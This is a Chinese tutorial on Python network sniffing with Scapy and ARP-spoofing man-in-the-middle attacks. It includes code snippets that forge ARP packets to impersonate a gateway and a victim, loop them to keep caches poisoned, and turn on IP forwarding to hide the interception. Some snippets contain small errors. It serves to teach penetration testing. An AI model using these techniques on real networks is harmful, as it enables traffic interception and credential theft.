Python程序设计-安全渗透测试--网络嗅探与欺骗

  • 如果想要彻底了解一个网络,那么最好的办法就是对网络中的流量进行嗅探
  • 在本章中将会编写几个嗅探工具,这些嗅探工具可以用来窃取网络中明文传输的密码,监视网络中的数据流向,甚至可以收集远程登录所使用的NTLM数据包(这个数据包中包含登录用的用户名和使用Hash加密的密码)。

网络数据嗅探

编写网络嗅探工具

  • 在Scapy中提供了一种专门用来捕获数据包的函数sniff(),这个函数的功能十分强大,首先使用help函数来查看一下它的使用方法
help(sniff)

Python程序设计-安全渗透测试--网络嗅探与欺骗_第1张图片

  • 函数sniff()中可以使用多个参数,下面先来了解其中几个比较重要参数的含义。
    1. count:表示要捕获数据包的数量。默认值为0,表示不限制数量。
    2. store:表示是否要保存捕获到的数据包,默认值为1。
    3. prn:这个参数是一个函数,这个函数将会应用在每一个捕获到的数据包上。如果这个函数有返回值,将会显示出来。默认是空
    4. iface:表示要使用的网卡或者网卡列表。
  • sniff()还支持了过滤器的使用
    1. 这个过滤器使用了一种功能非常强大的过滤语法——“伯克利包过滤”语法。
    2. 这个规则简称为BPF,利用它可以确定该获取和检查哪些流量,忽略哪些流量。
    3. BPF可以帮助我们通过比较各个层协议中数据字段值的方法对流量进行过滤。
    4. BPF的主要特点是使用一个名为“原语”的方法来完成对网络数据包的描述,
      例如,可以使用“host”来描述主机,“port”来描述端口,同时也支持“与”“或”“非”等逻辑运算。可以限定的内容包括地址、协议等。
  • 使用这种语法创建出来的过滤器被称为BPF表达式,每个表达式包含一个或多个原语。每个原语中又包含一个或多个限定词,主要有三个限定词:Type、Dir 和 Proto。
    1. Type用来规定使用名字或数字代表的类型,例如host、net和port等。
    2. Dir用来规定流量的方向,例如src、dst和src and dst等。
    3. Proto用来规定匹配的协议,例如ip、tcp和arp等。
      “host 192.168.169.133”就是一条最为常见的过滤器,它用来过滤掉除了本机和192.168.169.133以外的所有流量。如果希望再将范围限制小一些,例如,只捕获tcp类型的流量就可以使用“与”运算符,如“host 192.168.169.133 && tcp”。
  • 一些常见的过滤器。
    1. 只捕获与网络中某一个IP的主机进行交互的流量:“host 192.168.1.1”。
    2. 只捕获与网络中某一个MAC地址的主机交互的流量:“ether host 00-1a-a0-52-e2-a0”。
    3. 只捕获来自网络中某一个IP的主机的流量:“src host 192.168.1.1”。
    4. 只捕获去往网络中某一个IP的主机的流量:“dst host 192.168.1.1”,host也可以省略。
    5. 只捕获23端口的流量:“port 23”。
    6. 捕获除了23端口以外的流量:“!23”。
    7. 只捕获目的端口为80的流量:“dst port 80”。
    8. 只捕获ICMP流量:“icmp”。
    9. 只捕获type为3,code为0的ICMP流量:“icmp[0] = 3 &&icmp[1] = 0”。
  • 下面使用sniff()来捕获一些数据包并显示出来
  • 例如,源地址为192.168.169.133,端口为80的tcp报文
    在这里插入图片描述
  • 使用了过滤器的sniff()
  • 如果希望即时显示捕获的数据包,就可以使用prn函数选项,
  • 函数的内容为prn=lambda x:x.summary()
    在这里插入图片描述
  • 利用prn就可以不断地打印输出捕获到的数据包的内容
  • 这个函数可以实现很多功能,例如输出其中的某一个选项:使用 x[IP].src 输出IP报文的目的地址
  • 在开启 sniff 的时候, 访问 目标主机的目标端口,(火狐访问 HTTP服务器)
    在这里插入图片描述
  • 结果如下:
    在这里插入图片描述
  • 另外,也可以定义一个回调函数,例如,打印输出这个数据包。
def Callback(packet):
	print packet.show()
  • 然后再在sniff()中调用这个函数:
sniff(prn=Callback)
  • 这些捕获到的数据包可以使用wrpcap函数保存起来,保存的格式很多,目前最为通用的格式为pcap。
  • 例如,现在捕获5个数据包并保存起来的语句如下所示。
packet = sniff(count=5) *    
wrpcap(“demo.pcap”, packet)
  • 接下来编写一个完整的数据嗅探工具,它可以捕获和特定主机通信的1000个数据包,并保存到catch.pcap数据包中。
  • catchPackets.py
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第2张图片
  • 运行结果如下:
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第3张图片
  • 保存的数据包如下:
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第4张图片

调用WireShark抓包

  • 在Scapy中查看这些数据包可能有些杂乱,可以将数据包放到更加专业的工具中来查看
  • 首先在Scapy中产生一个数据包。
packets = IP(dst="www.baidu.com")/ICMP()
  • 然后可以将这个数据包放在一个极为优秀的网络分析工具中打开。
wireshark(packets)

Python程序设计-安全渗透测试--网络嗅探与欺骗_第5张图片

ARP原理与缺陷

  • 之所以这里特别提到这个协议,是因为目前网络中大部分的监听和欺骗技术都是源于这个协议。
  • 但是这个协议存在一个重大缺陷,就是这个过程并没有任何的认证机制
  • 也就是说如果一台主机收到ARP 请求数据包,并不会对这个数据包进行真伪判断,无论这个数据包是否真的来自源主机,都会将其添加到ARP表中。
  • 因此黑客就可能会利用这个漏洞来 冒充网关 等主机。
  • arpspoof来演示一下
    在这里插入图片描述
  • arpspoof [-i指定使用的网卡] [-t 要欺骗的目标主机] [-r] 要伪装成的主机
  • 例如:
  • 现在受到欺骗的主机会把攻击者当作网关,从而把所有的数据都发送到这个主机
  • 现在arpspoof完成了对目标主机的欺骗任务,可以截获到目标主机发往网关的数据包。
  • 但是这里有两个问题:
    • 首先arpspoof仅仅是会截获这些数据包,并不能查看这些数据包,所以还需要使用专门查看数据包的工具
      打开WireShark,就可以看到 受害者所发送的数据包
    • 第二点就是主机不会再将这些数据包转发到网关,这样将会导致目标主机无法正常上网,
      所以需要在主机上开启转发功能
      root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
    • 这样就可以将截获到的数据包再转发出去,被欺骗的主机就可以正常上网了,从而无法察觉到受到攻击。

中间人欺骗

  • 使用Scapy库来完成这个任务,再来看一遍ARP数据包的格式
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第6张图片
  • 这里需要设置的值主要有三个:op、psrc 和 pdst。其中,op对应的是ARP类型,默认值已经是1,就是ARP请求,无须改变;psrc的值最关键,psrc对应前面的源IP地址
gatewayIP="192.168.26.254"     
victimIP="192.168.26.101"
  • 另外,需要使用Ether层将这个数据包发送出去,查看一下Ether数据包的格式
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第7张图片
  • 这一层只有三个参数,dst是目的硬件地址,src是源硬件地址
srcMAC="00:0c:29:b4:07:1b"     
dstMAC="00:0c:29:2D:7F:89"
  • 接下来构造并发送这个数据包。
sendp(Ether(dst=dstMAC,src=srcMAC)/ARP(psrc=gatewayIP,pdst=victimIP)
  • 即使不为Ether中的dst和src赋值,系统其实也会自动将src的值设置为使用Kali Linux 主机的硬件地址
sendp(Ether()/ARP(psrc=gatewayIP,pdst=victimIP))
  • 成功发送这个数据包之后,查看一下被攻击计算机的ARP缓存表
  • 现在编写一个完整的ARP欺骗程序。
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第8张图片
  • 在目标主机中查看ARP缓存表,可以看到这时这个缓存表已经受到欺骗
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第9张图片
  • 也可以将这个程序再完善一下,网络嗅探功能也加进来,同时欺骗受害者主机和网关,将硬件地址改为自动获取等。
  • 首先编写一个能获取目标硬件地址的函数。
  • Scapy中有一个 getmacbyip() 函数,这个函数的作用是给出指定IP地址主机的硬件地址。
  • 在Python中使用这个函数来获取目标主机的硬件地址
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第10张图片
  • 如果要开始的是一次中间人欺骗,那么需要同时对目标主机和网关都进行欺骗
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第11张图片
  • 而中间人欺骗的原理就是要让目标主机误认为Kali Linux 才是网关,同时让网关误认为Kali Linux 才是目标主机,这样两者之间的通信方式就变成了如图所示的形式。
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第12张图片
  • 要实现这一点就需要同时向目标主机和网关发送欺骗数据包。
  • 用来欺骗目标主机的数据包如下。
attackTarget = Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
  • 用来欺骗网关的数据包如下。
attackGateway= Ether()/ARP(psrc= victimIP,pdst= gatewayIP)
  • 因为ARP缓存表中表项都有生命周期,所以需要不断对两个主机进行欺骗。
  • 这里使用循环发送来实现这个功能,sendp本身就有循环发送的功能,
  • 使用inter指定间隔时间,使用loop=1来实现循环发送。
sendp(attackTarget, inter=1, loop=1)
  • 接下来编写这个完整的程序。
  • ARPPoison.py
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第13张图片
  • 在主机上开启转发功能:
 root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

使用socket来实现这个例子

  • 相比Scapy,socket是一个更为通用的库文件,但是也要复杂一些
  • 首先看一下ARP数据包的格式,和以前不同,这一次要精确到每一位表示的含义
    在这里插入图片描述
  • 使用socket来产生一个数据包要远比Scapy麻烦,这个数据包要分成如下多个部分
    (1)以太网目的地址,长度为6位。
    (2)以太网源地址,长度为6位。
    (3)帧类型,长度为两位。
    (4)硬件类型,长度为两位。
    (5)协议类型,长度为两位。
    (6)硬件地址长度,长度为1位。
    (7)协议地址长度,长度为1位。
    (8)op,长度为两位。
    (9)发送端以太网地址,长度为6位。
    (10)发送端IP地址,长度为4位。
    (11)目的以太网地址,长度为6位。
    (12)目的IP地址,长度为4位。
  • 利用这个库实现中间人欺骗的原理和前面一样,也是通过向目标发送一个伪造了的ARP请求数据包来实现的
  • 可以按照如下来填充这个数据包。
    (1)以太网目的地址:00:0c:29:2D:7F:89,这个表示要欺骗的主机的硬件地址,也可以是广播地址ff:ff:ff:ff:ff:ff。
    (2)以太网源地址:00:0c:29:12:dd:23,这是本机的硬件地址。
    (3)帧类型:0x0806表示ARP类型,使用两位十六进制表示为\x08\x06。
    (4)硬件类型:1表示以太网,使用两位十六进制表示为\x00\x01。
    (5)协议类型:8表示IPv4,使用两位十六进制表示为\x08\x00。
    (6)硬件地址长度:\x06,表示6位的硬件地址。
    (7)协议地址长度:\x04,表示4位的IP地址。
    (8)op:1表示请求,2表示回应,使用两位十六进制表示为\x00\x01。
    (9)发送端以太网地址:00:0c:29:12:dd:23。
    (10)发送端IP地址:192.168.169.2。
    (11)目的以太网地址:00:0c:29:2D:7F:89。
    (12)目的IP地址:192.168.169.133。
  • 在构造数据包的时候需要注意一点,网络中传输IP地址等数据要使用网络字节顺序,保证数据在不同主机之间传输时能够被正确解释
  • Python socket模块中包含一些有用的IP转换函数,说明如下。
    (1)socket.inet_aton(ip_string):将IPv4的地址字符串(例如192.168.10.8)转换为32位打包的网络字节。
    (2)socket.inet_aton(packed_ip):转换32位的IPv4网络字节为IP地址的标准点号分隔字符串表示。
  • 使用socket.inet_aton(ip_string)将IP地址转换之后才能发送出去,所以定义一下这个数据包的格式内容。
srcMAC="00:0c:29:12:dd:23"
dstMAC="00:0c:29:2D:7F:89"
code='\x08\x06'
htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'
gatewayIP = '192.168.169.2'
victimIP = '192.168.169.133'
  • 将这些内容组成一个数据包
packet=srcMAC + dstMAC + code + htype + protype + hsize + psize + opcode + srcMAC + socket.inet_aton(gatewayIP) + dstMAC+socket.inet_aton(victimIP)
  • 完整的程序如下所示。: 只是发给 被攻击的目标主机的 包; 还需要再构造一个 发给网关的数据包;同时 kali 开启流量转发
    Python程序设计-安全渗透测试--网络嗅探与欺骗_第14张图片

你可能感兴趣的:(Python程序设计-安全渗透测试--网络嗅探与欺骗)